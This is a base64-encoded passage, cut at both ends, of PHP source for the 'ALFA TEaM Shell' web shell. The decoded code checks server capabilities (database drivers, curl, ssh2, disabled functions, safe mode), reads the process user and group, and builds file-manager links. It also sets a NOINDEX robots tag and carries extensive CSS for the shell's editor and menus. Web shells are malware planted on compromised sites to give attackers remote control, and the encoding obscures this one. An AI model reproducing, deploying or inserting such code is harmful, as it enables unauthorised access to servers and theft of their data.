cmF5KCk7CmZvcigkaT0xOyRpPD0xMDskaSsrKXsKJGFsZmF4W10gPSAkaTsKfQpmb3JlYWNoKCRhcmdzIGFzICRhcmcpewokZmluZFtdID0gJGFyZzsKfQplY2hvICc8c2NyaXB0Pic7CmZvcmVhY2goJGFsZmF4IGFzICRhbGZhKXsKaWYoaW5fYXJyYXkoJGFsZmEsJGZpbmQpKQpjb250aW51ZTsKZWNobyAnYWxmYScuJGFsZmEuIl89IjsKfQplY2hvICciIjwvc2NyaXB0Pic7Cn0KaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQokX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsKJGZyZWVTcGFjZSA9IGZ1bmN0aW9uX2V4aXN0cygnZGlza2ZyZWVzcGFjZScpP0BkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk6Jz8nOwokdG90YWxTcGFjZSA9IGZ1bmN0aW9uX2V4aXN0cygnZGlza190b3RhbF9zcGFjZScpP0BkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk6Jz8nOwokdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7CiRvbj0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vbic+IE9OIDwvc3Bhbj4iOwokb2Y9IjxzcGFuIGNsYXNzPSdoZWFkZXJfb2ZmJz4gT0ZGIDwvc3Bhbj4iOwokbm9uZT0iPHNwYW4gY2xhc3M9J2hlYWRlcl9ub25lJz4gTk9ORSA8L3NwYW4+IjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdzc2gyX2Nvbm5lY3QnKSkKJHNzaDI9JG9uOwplbHNlCiRzc2gyPSRvZjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkKJGN1cmw9JG9uOwplbHNlCiRjdXJsPSRvZjsKaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKXx8Y2xhc3NfZXhpc3RzKCdteXNxbGknKSkKJG15c3FsPSRvbjsKZWxzZQokbXlzcWw9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkKJG1zc3FsPSRvbjsKZWxzZQokbXNzcWw9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkKJHBnPSRvbjsKZWxzZQokcGc9JG9mOwppZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCiRvcj0kb247CmVsc2UKJG9yPSRvZjsKaWYoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpCiRkaXNmdW49QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CmVsc2UKJGRpc2Z1bj0iQWxsIEZ1bmN0aW9ucyBFbmFibGUiOwppZihAaW5pX2dldCgnc2FmZV9tb2RlJykpCiRzYWZlX21vZGVzPSI8c3BhbiBjbGFzcz0naGVhZGVyX29mZic+T048L3NwYW4+IjsKZWxzZQokc2FmZV9tb2Rlcz0iPHNwYW4gY2xhc3M9J2hlYWRlcl9vbic+T0ZGPC9zcGFuPiI7CiRjZ2lfc2hlbGw9IjxzcGFuIGNsYXNzPSdoZWFkZXJfb2ZmJyBpZD0naGVhZGVyX2NnaXNoZWxsJz5PRkY8L3NwYW4+IjsKaWYoQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKXsKJGJhc2VkaXJfZGF0YSA9IEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKTsKaWYoc3RybGVuKCRiYXNlZGlyX2RhdGEpPjEyMCl7CiRvcGVuX2I9c3Vic3RyKCRiYXNlZGlyX2RhdGEsMCwgMTIwKS4iLi4uIjsKfWVsc2V7CiRvcGVuX2IgPSAkYmFzZWRpcl9kYXRhOwp9Cn1lbHNleyRvcGVuX2I9JG5vbmU7fQppZihAaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpCiRzYWZlX2V4ZT1AaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJyk7CmVsc2UKJHNhZmVfZXhlPSRub25lOwppZihAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpCiRzYWZlX2luY2x1ZGU9QGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpOwplbHNlCiRzYWZlX2luY2x1ZGU9JG5vbmU7CmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkKewokdXNlciA9IGZ1bmN0aW9uX2V4aXN0cygiZ2V0X2N1cnJlbnRfdXNlciIpP0BnZXRfY3VycmVudF91c2VyKCk6Ij8/Pz8iOwokdWlkID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRteXVpZCIpP0BnZXRteXVpZCgpOiI/Pz8/IjsKJGdpZCA9IGZ1bmN0aW9uX2V4aXN0cygiZ2V0bXlnaWQiKT9AZ2V0bXlnaWQoKToiPz8/PyI7CiRncm91cCA9ICI/IjsKfWVsc2V7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikmJmZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZXVpZCIpP0Bwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpOmFycmF5KCJuYW1lIj0+Ij8/Pz8iLCAidWlkIj0+Ij8/Pz8iKTsKJGdpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIik/QHBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGVnaWQoKSk6YXJyYXkoIm5hbWUiPT4iPz8/PyIsICJnaWQiPT4iPz8/PyIpOwokdXNlciA9ICR1aWRbJ25hbWUnXTsKJHVpZCA9ICR1aWRbJ3VpZCddOwokZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiRnaWQgPSAkZ2lkWydnaWQnXTsKfQokY3dkX2xpbmtzID0gJyc7CiRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiRuPWNvdW50KCRwYXRoKTsKZm9yKCRpPTA7ICRpPCRuLTE7ICRpKyspIHsKJGN3ZF9saW5rcyAuPSAiPGEgY2xhc3M9J2hlYWRlcl9wd2QnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsKJGNhY2hfY3dkX3BhdGggPSAiIjsKZm9yKCRqPTA7ICRqPD0kaTsgJGorKyl7CiRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKJGNhY2hfY3dkX3BhdGggLj0gJHBhdGhbJGpdLicvJzsKfQokY3dkX2xpbmtzIC49ICJcIiknIHBhdGg9JyIuJGNhY2hfY3dkX3BhdGguIicgaHJlZj0nI2FjdGlvbj1maWxlbWFuJnBhdGg9Ii4kY2FjaF9jd2RfcGF0aC4iJz4iLiRwYXRoWyRpXS4iLzwvYT4iOwp9CiRkcml2ZXMgPSAiIjsKZm9yZWFjaChyYW5nZSgnYScsJ3onKSBhcyAkZHJpdmUpCmlmKEBpc19kaXIoJGRyaXZlLic6XFwnKSkKJGRyaXZlcyAuPSAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgY2xhc3M9ImhlYWRlcl9kcml2ZSIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnLiRkcml2ZS4nOi9cJykiPlsgJy4kZHJpdmUuJyBdPC9hPiAnOwokY3NzY29kZSA9JwktbW96LWFuaW1hdGlvbi1uYW1lOiBzcGluOy1tb3otYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogaW5maW5pdGU7LW1vei1hbmltYXRpb24tdGltaW5nLWZ1bmN0aW9uOiBsaW5lYXI7LW1vei1hbmltYXRpb24tZHVyYXRpb246IDFzOy13ZWJraXQtYW5pbWF0aW9uLW5hbWU6IHNwaW47LXdlYmtpdC1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstd2Via2l0LWFuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjstd2Via2l0LWFuaW1hdGlvbi1kdXJhdGlvbjogMXM7LW1zLWFuaW1hdGlvbi1uYW1lOiBzcGluOy1tcy1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiBpbmZpbml0ZTstbXMtYW5pbWF0aW9uLXRpbWluZy1mdW5jdGlvbjogbGluZWFyOy1tcy1hbmltYXRpb24tZHVyYXRpb246IDFzO2FuaW1hdGlvbi1uYW1lOiBzcGluO2FuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IGluZmluaXRlO2FuaW1hdGlvbi10aW1pbmctZnVuY3Rpb246IGxpbmVhcjthbmltYXRpb24tZHVyYXRpb246IDFzOyc7CmVjaG8gJzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+CjxtZXRhIG5hbWU9IlJPQk9UUyIgY29udGVudD0iTk9JTkRFWCwgTk9GT0xMT1ciIC8+CjxsaW5rIGhyZWY9IicuX19zaG93aWNvbignYWxmYW1pbmknKS4nIiByZWw9Imljb24iIHR5cGU9ImltYWdlL3gtaWNvbiIvPgo8dGl0bGU+Li46OiAnLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4nIH4gQUxGQSBURWFNIFNoZWxsIC0gdicuX19BTEZBX1ZFUlNJT05fXy4nLScuX19BTEZBX0NPREVfTkFNRV9fLicgOjouLjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Jzs/PgouaGxhYmFsZXtjb2xvcjojNjdhYmRmO2JvcmRlci1yYWRpdXM6NHB4O2JvcmRlcjoxcHggc29saWQgIzI3OTc5YjttYXJnaW4tbGVmdDo3cHg7cGFkZGluZzoycHh9I3RibF9zeW1wcGhwIHRye3RleHQtYWxpZ246Y2VudGVyfSNQaHBDb2RlLC5waHAtZXZhbHMtYWNlLC52aWV3X21sX2NvbnRlbnR7cG9zaXRpb246YWJzb2x1dGU7dG9wOjA7cmlnaHQ6MDtib3R0b206MDtsZWZ0OjA7YmFja2dyb3VuZDojMWIyOTJiMjY7dG9wOjUwcHh9LmVkaXRvci12aWV3e3Bvc2l0aW9uOnJlbGF0aXZlO2hlaWdodDoxMDAlfS52aWV3LWNvbnRlbnR7cG9zaXRpb246YWJzb2x1dGU7b3ZlcmZsb3cteTphdXRvO3dpZHRoOjEwMCU7aGVpZ2h0OjkzJX06Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrey13ZWJraXQtYm94LXNoYWRvdzppbnNldCAwIDAgNnB4IHJnYmEoMCwwLDAsLjMpO2JvcmRlci1yYWRpdXM6MTBweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDAxMTV9Ojotd2Via2l0LXNjcm9sbGJhcnt3aWR0aDoxMHB4O2JhY2tncm91bmQtY29sb3I6IzAwMDExNX06Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1ie2JvcmRlci1yYWRpdXM6MTBweDstd2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAwIDZweCByZ2JhKDAsMCwwLC4zKTtiYWNrZ3JvdW5kLWNvbG9yOiMxZTgyYjV9LmVkaXRvci1maWxlLW5hbWV7bWFyZ2luLWxlZnQ6MjlweDttYXJnaW4tdG9wOjRweDtvdmVyZmxvdzpoaWRkZW47dGV4dC1vdmVyZmxvdzplbGxpcHNpczt3aGl0ZS1zcGFjZTpub3dyYXB9LmVkaXRvci1pY29ue3Bvc2l0aW9uOmFic29sdXRlfS5pc19hY3RpdmV7YmFja2dyb3VuZDpyZ2JhKDQ5LDU1LDkzLC43Nyk7Ym9yZGVyLXJhZGl1czoxMHB4fS5oaXN0b3J5LWxpc3R7aGVpZ2h0Ojg4JTtvdmVyZmxvdy15OmF1dG99Lm9wdC10aXRsZXtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjUwJTt0b3A6NTAlO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtjb2xvcjojMmZkMDUxO2ZvbnQtc2l6ZToyNXB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZX0ub3B0aW9uc19taW5fYmFkZ2V7dmlzaWJpbGl0eTpoaWRkZW47dGV4dC1hbGlnbjpjZW50ZXI7cmlnaHQ6MzBweDtjb2xvcjojZmZmO2JhY2tncm91bmQ6IzJhOGEyNDtwYWRkaW5nOjZweDtib3JkZXItcmFkaXVzOjUwJTt3aWR0aDoxNXB4O2hlaWdodDoxNXB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3Bvc2l0aW9uOmFic29sdXRlO3RvcDotN3B4fSNjZ2lsb2FkZXItbWluaW1pemVkLCNkYXRhYmFzZV93aW5kb3ctbWluaW1pemVkLCNlZGl0b3ItbWluaW1pemVkLCNvcHRpb25zX3dpbmRvdy1taW5pbWl6ZWR7ZGlzcGxheTpibG9jaztwb3NpdGlvbjpmaXhlZDtyaWdodDotMzBweDt3aWR0aDozMHB4O2hlaWdodDozMHB4O3RvcDozMCU7ei1pbmRleDo5OTk5fS5taW5pbWl6ZWQtd3JhcHBlcntwb3NpdGlvbjpyZWxhdGl2ZTtiYWNrZ3JvdW5kOiMwZTMwNGE7d2lkdGg6NDRweDtoZWlnaHQ6MTMwcHg7Y3Vyc29yOnBvaW50ZXI7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czo1cHg7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czo1cHh9Lm1pbmltaXplZC10ZXh0e3RyYW5zZm9ybTpyb3RhdGUoLTkwZGVnKTtjb2xvcjp3aGVhdDtmb250LXNpemU6eC1sYXJnZTtkaXNwbGF5OmlubGluZS1ibG9jaztwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDotNTFweDt3aWR0aDoxMjlweDt0b3A6LTEwcHg7Ym9yZGVyLXRvcC1sZWZ0LXJhZGl1czo0JTtoZWlnaHQ6NTZweDtwYWRkaW5nOjNweH0uY2xvc2UtYnV0dG9uLC5lZGl0b3ItbWluaW1pemV7aGVpZ2h0OjI2cHg7d2lkdGg6MzhweDtyaWdodDo3cHg7YmFja2dyb3VuZDojMWQ1NjczO2N1cnNvcjpwb2ludGVyO3Bvc2l0aW9uOmFic29sdXRlO2JveC1zaXppbmc6Ym9yZGVyLWJveDtsaW5lLWhlaWdodDo1MHB4O2Rpc3BsYXk6aW5saW5lLWJsb2NrO3RvcDoxN3B4O2JvcmRlci1yYWRpdXM6MTAwcHh9LmVkaXRvci1taW5pbWl6ZXtyaWdodDo1MHB4fS5jbG9zZS1idXR0b246YWZ0ZXIsLmNsb3NlLWJ1dHRvbjpiZWZvcmUsLmVkaXRvci1taW5pbWl6ZTpiZWZvcmV7dHJhbnNmb3JtOnJvdGF0ZSgtNDVkZWcpO2NvbnRlbnQ6IiI7cG9zaXRpb246YWJzb2x1dGU7dG9wOjYzJTtyaWdodDo2cHg7bWFyZ2luLXRvcDotNXB4O21hcmdpbi1sZWZ0Oi0yNXB4O2Rpc3BsYXk6YmxvY2s7aGVpZ2h0OjRweDt3aWR0aDoyN3B4O2JhY2tncm91bmQtY29sb3I6cmdiYSgyMTYsMjA3LDIwNywuNzUpO3RyYW5zaXRpb246YWxsIC4yNXMgZWFzZS1vdXR9LmVkaXRvci1taW5pbWl6ZTpiZWZvcmV7dHJhbnNmb3JtOnJvdGF0ZSgwKX0uY2xvc2UtYnV0dG9uOmFmdGVye3RyYW5zZm9ybTpyb3RhdGUoLTEzNWRlZyl9LmNsb3NlLWJ1dHRvbjpob3ZlcjphZnRlciwuY2xvc2UtYnV0dG9uOmhvdmVyOmJlZm9yZSwuZWRpdG9yLW1pbmltaXplOmhvdmVyOmJlZm9yZXtiYWNrZ3JvdW5kLWNvbG9yOnJlZH0uY2xvc2UtYnV0dG9uOmhvdmVyLC5lZGl0b3ItbWluaW1pemU6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDM5LDY2LDgwLC45Nil9I2NnaWxvYWRlciwjZGF0YWJhc2Vfd2luZG93LCNlZGl0b3IsI29wdGlvbnNfd2luZG93e2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjpmaXhlZDt0b3A6MDt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO3otaW5kZXg6MjB9LmVkaXRvci13cmFwcGVye3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCU7cG9zaXRpb246cmVsYXRpdmU7dG9wOjElfS5lZGl0b3ItaGVhZGVye3dpZHRoOjk3JTtiYWNrZ3JvdW5kOnJnYmEoMjEsNjYsODgsLjkzKTtoZWlnaHQ6MzdweDttYXJnaW4tbGVmdDoxM3B4O3Bvc2l0aW9uOnJlbGF0aXZlO2JvcmRlci10b3AtbGVmdC1yYWRpdXM6MTVweDtib3JkZXItdG9wLXJpZ2h0LXJhZGl1czoxNXB4fS5lZGl0b3ItcGF0aHtwb3NpdGlvbjphYnNvbHV0ZTtmb250LXNpemU6eC1sYXJnZTttYXJnaW4tbGVmdDoxMHB4O3RvcDo2cHg7Y29sb3I6IzAwZmY3Zn0uZWRpdG9yLW1vZGFse3Bvc2l0aW9uOnJlbGF0aXZlO3RvcDowO2JhY2tncm91bmQtY29sb3I6cmdiYSgwLDEsMjMsLjk1KTtoZWlnaHQ6OTAlO21hcmdpbi1sZWZ0OjIwJTttYXJnaW4tcmlnaHQ6MiU7Ym9yZGVyOjJweCAjMGUzMDRhIHNvbGlkfS5lZGl0b3ItZXhwbG9yZXJ7d2lkdGg6MTklO2hlaWdodDo5MCU7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDAsMSwyMywuOTQpO3Bvc2l0aW9uOmFic29sdXRlO3otaW5kZXg6MjtsZWZ0OjElO2JvcmRlcjoycHggIzBlMzA0YSBzb2xpZH0uZWRpdG9yLWNvbnRyb2xsZXJ7cG9zaXRpb246cmVsYXRpdmU7dG9wOi0xM3B4fS5maWxlLWhvbGRlcntwb3NpdGlvbjpyZWxhdGl2ZTt3aWR0aDoxMDAlO2hlaWdodDozMHB4fS5maWxlLWhvbGRlcj4uaGlzdG9yeXtwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojMDNiM2EzO2N1cnNvcjpwb2ludGVyO2xlZnQ6NXB4O2ZvbnQtc2l6ZToxOHB4O2ZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7d2lkdGg6ODklO2hlaWdodDoxMDAlO3otaW5kZXg6Mztib3JkZXItcmFkaXVzOjEwcHg7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC42cyBlYXNlLW91dH0uZmlsZS1ob2xkZXI+Lmhpc3RvcnktY2xvc2V7ZGlzcGxheTpibG9jaztvcGFjaXR5OjA7cG9zaXRpb246YWJzb2x1dGU7cmlnaHQ6MnB4O3dpZHRoOjIwcHg7dG9wOjRweDt0ZXh0LWFsaWduOmNlbnRlcjtjdXJzb3I6cG9pbnRlcjtjb2xvcjojZmZmO2JhY2tncm91bmQ6cmVkO2JvcmRlci1yYWRpdXM6MTAwcHg7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO3otaW5kZXg6MTA7dHJhbnNpdGlvbjpvcGFjaXR5IC42cyBlYXNlLW91dDtmb250LXNpemU6MTVweDtoZWlnaHQ6MTlweH0uZmlsZS1ob2xkZXI+Lmhpc3Rvcnk6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNjQ2NDY0fS5lZGl0b3ItZXhwbG9yZXI+LmhoZWFkZXJ7cG9zaXRpb246cmVsYXRpdmU7Y29sb3I6IzE0ZmYwNztib3JkZXItYm90dG9tOjJweCAjMjA2YWEyIHNvbGlkO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtZmFtaWx5OnNhbnMtc2VyaWY7bWFyZ2luLWJvdHRvbToxMHB4O2hlaWdodDo1NXB4fS5lZGl0b3Itc2VhcmNoe3Bvc2l0aW9uOmFic29sdXRlO2JvdHRvbTo3cHg7bGVmdDozMXB4fS5oaGVhZGVyLXRleHR7cG9zaXRpb246YWJzb2x1dGU7bGVmdDo4cHg7dG9wOjJweH0uaGlzdG9yeS1jbGVhcntwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDo4cHg7dG9wOjJweDtjdXJzb3I6cG9pbnRlcn0uZWRpdG9yLWJvZHl7cG9zaXRpb246cmVsYXRpdmU7bWFyZ2luLWxlZnQ6M3B4O2hlaWdodDoxMDAlfS5lZGl0b3ItYW5pbS1jbG9zZXstd2Via2l0LWFuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246ZWRpdG9yQ2xvc2UgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246ZWRpdG9yQ2xvc2UgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzO2FuaW1hdGlvbjplZGl0b3JDbG9zZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBlZGl0b3JDbG9zZXswJXt2aXNpYmlsaXR5OjE7b3BhY2l0eToxfTEwMCV7dmlzaWJpbGl0eTowO29wYWNpdHk6MH19LmVkaXRvci1hbmltLW1pbmltaXpley13ZWJraXQtYW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjplZGl0b3JNaW5pbWl6ZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1zLWFuaW1hdGlvbjplZGl0b3JNaW5pbWl6ZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOmVkaXRvck1pbmltaXplIC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIGVkaXRvck1pbmltaXplezAle3JpZ2h0OjA7b3BhY2l0eToxfTEwMCV7cmlnaHQ6LTIwMDBweDtvcGFjaXR5OjB9fS5lZGl0b3ItYW5pbS1zaG93ey13ZWJraXQtYW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tb3otYW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246ZWRpdG9yU2hvdyAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOmVkaXRvclNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzfUBrZXlmcmFtZXMgZWRpdG9yU2hvd3swJXtyaWdodDotMjAwMHB4O29wYWNpdHk6MH0xMDAle3JpZ2h0OjA7b3BhY2l0eToxfX0ubWluaW1pemVkLXNob3d7LXdlYmtpdC1hbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjptaW5pbWl6ZVNob3cgLjhzIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkczthbmltYXRpb246bWluaW1pemVTaG93IC44cyBlYXNlLWluLW91dCBmb3J3YXJkc31Aa2V5ZnJhbWVzIG1pbmltaXplU2hvd3swJXtyaWdodDotMzBweDtvcGFjaXR5OjB9MTAwJXtyaWdodDowO29wYWNpdHk6MX19Lm1pbmltaXplZC1oaWRley13ZWJraXQtYW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbmltYXRpb246bWluaW1pemVIaWRlIC44cyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOm1pbmltaXplSGlkZSAuOHMgZWFzZS1pbi1vdXQgZm9yd2FyZHN9QGtleWZyYW1lcyBtaW5pbWl6ZUhpZGV7MCV7cmlnaHQ6MDtvcGFjaXR5OjF9MTAwJXtyaWdodDotMzBweDtvcGFjaXR5OjB9fS5zb2xldmlzaWJsZS10ZXh0OmhvdmVyey13ZWJraXQtdGV4dC1zaGFkb3c6MCAwIDI1cHggIzBmMDstbW96LXRleHQtc2hhZG93OjAgMCAyNXB4ICMwZjA7LW1zLXRleHQtc2hhZG93OjAgMCAyNXB4ICMwZjA7dGV4dC1zaGFkb3c6MCAwIDI1cHggIzBmMH0udXBkYXRlLWhvbGRlcntwb3NpdGlvbjpmaXhlZDt0b3A6MDtiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoMCwyNCwyOSwuNzIpO3dpZHRoOjEwMCU7aGVpZ2h0OjEwMCV9LnVwZGF0ZS1jb250ZW50e3Bvc2l0aW9uOnJlbGF0aXZlfS51cGRhdGUtY29udGVudD5he3RleHQtZGVjb3JhdGlvbjpub25lO3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOnJnYmEoMTAzLDE2Nyw0NywuNzcpO2xlZnQ6MjQlO21hcmdpbi10b3A6NyU7Zm9udC1zaXplOjQwcHh9LnVwZGF0ZS1jbG9zZXtwb3NpdGlvbjphYnNvbHV0ZTtyaWdodDowO21hcmdpbi1yaWdodDoyM3B4O3RvcDoxMHB4O2ZvbnQtc2l6ZToyN3B4O2JhY2tncm91bmQtY29sb3I6IzEzMGY1MDt3aWR0aDo1JTtib3JkZXItcmFkaXVzOjEwMHB4O2N1cnNvcjpwb2ludGVyO2JvcmRlcjoycHggIzBlMjY1YSBzb2xpZH0udXBkYXRlLWNsb3NlOmhvdmVye2JvcmRlcjoycHggIzI1ZmYwMCBzb2xpZDtjb2xvcjpyZWR9LmZpbGVzdG9vbHN7aGVpZ2h0OmF1dG87d2lkdGg6YXV0bztjb2xvcjojNjdhYmRmO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWZ9QC1tb3otZG9jdW1lbnQgdXJsLXByZWZpeCgpeyNzZWFyY2gtaW5wdXR7d2lkdGg6MTczcHh9LmVkaXRvci1wYXRoe3RvcDozcHh9fS5maWx0ZXJzLWhvbGRlcntwYWRkaW5nOjVweDtwYWRkaW5nLWxlZnQ6MTBweH0uZmlsdGVycy1ob2xkZXIgaW5wdXR7d2lkdGg6MjAwcHh9LmZpbHRlcnMtaG9sZGVyIHNwYW57Y29sb3I6IzhiYzdmN30jcmlnaHRjbGlja19tZW51e3dpZHRoOjE3NXB4O3Zpc2liaWxpdHk6aGlkZGVuO29wYWNpdHk6MDtwb3NpdGlvbjpmaXhlZDtiYWNrZ3JvdW5kOiMwZjMwNGE7Y29sb3I6IzU1NTtmb250LWZhbWlseTpzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxMXB4Oy13ZWJraXQtdHJhbnNpdGlvbjpvcGFjaXR5IC41cyBlYXNlLWluLW91dDstbW96LXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7LW1zLXRyYW5zaXRpb246b3BhY2l0eSAuNXMgZWFzZS1pbi1vdXQ7LW8tdHJhbnNpdGlvbjpvcGFjaXR5IC41cyBlYXNlLWluLW91dDt0cmFuc2l0aW9uOm9wYWNpdHkgLjVzIGVhc2UtaW4tb3V0Oy13ZWJraXQtYm94LXNoYWRvdzotMXB4IDAgMTdweCAwICM4YjhiOGM7LW1vei1ib3gtc2hhZG93Oi0xcHggMCAxN3B4IDAgIzhiOGI4Yztib3gtc2hhZG93Oi0xcHggMCAxN3B4IDAgIzhiOGI4YztwYWRkaW5nOjA7Ym9yZGVyOjFweCBzb2xpZCAjNzM3MzczO2JvcmRlci1yYWRpdXM6MTBweH0jcmlnaHRjbGlja19tZW51IGF7ZGlzcGxheTpibG9jaztjb2xvcjojZmZmO2ZvbnQtd2VpZ2h0OmJvbGRlcjt0ZXh0LWRlY29yYXRpb246bm9uZTtwYWRkaW5nOjZweCA4cHggNnB4IDMwcHg7cG9zaXRpb246cmVsYXRpdmU7cGFkZGluZy1sZWZ0OjQwcHh9I3JpZ2h0Y2xpY2tfbWVudSBhIGkuZmEsI3JpZ2h0Y2xpY2tfbWVudSBhIGltZ3toZWlnaHQ6MjBweDtmb250LXNpemU6MTdweDt3aWR0aDoyMHB4O3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6NXB4O3RvcDoycHg7cGFkZGluZy1sZWZ0OjVweH0jcmlnaHRjbGlja19tZW51IGEgc3Bhbntjb2xvcjojYmNiMWIzO2Zsb2F0OnJpZ2h0fSNyaWdodGNsaWNrX21lbnUgYTpob3Zlcntjb2xvcjojZmZmO2JhY2tncm91bmQ6IzM4NzlkOX0jcmlnaHRjbGlja19tZW51IGhye2JvcmRlcjoxcHggc29saWQgI2ViZWJlYjtib3JkZXItYm90dG9tOjB9LmNsLXBvcHVwLWZpeGVke3Bvc2l0aW9uOmZpeGVkO3RvcDowO2xlZn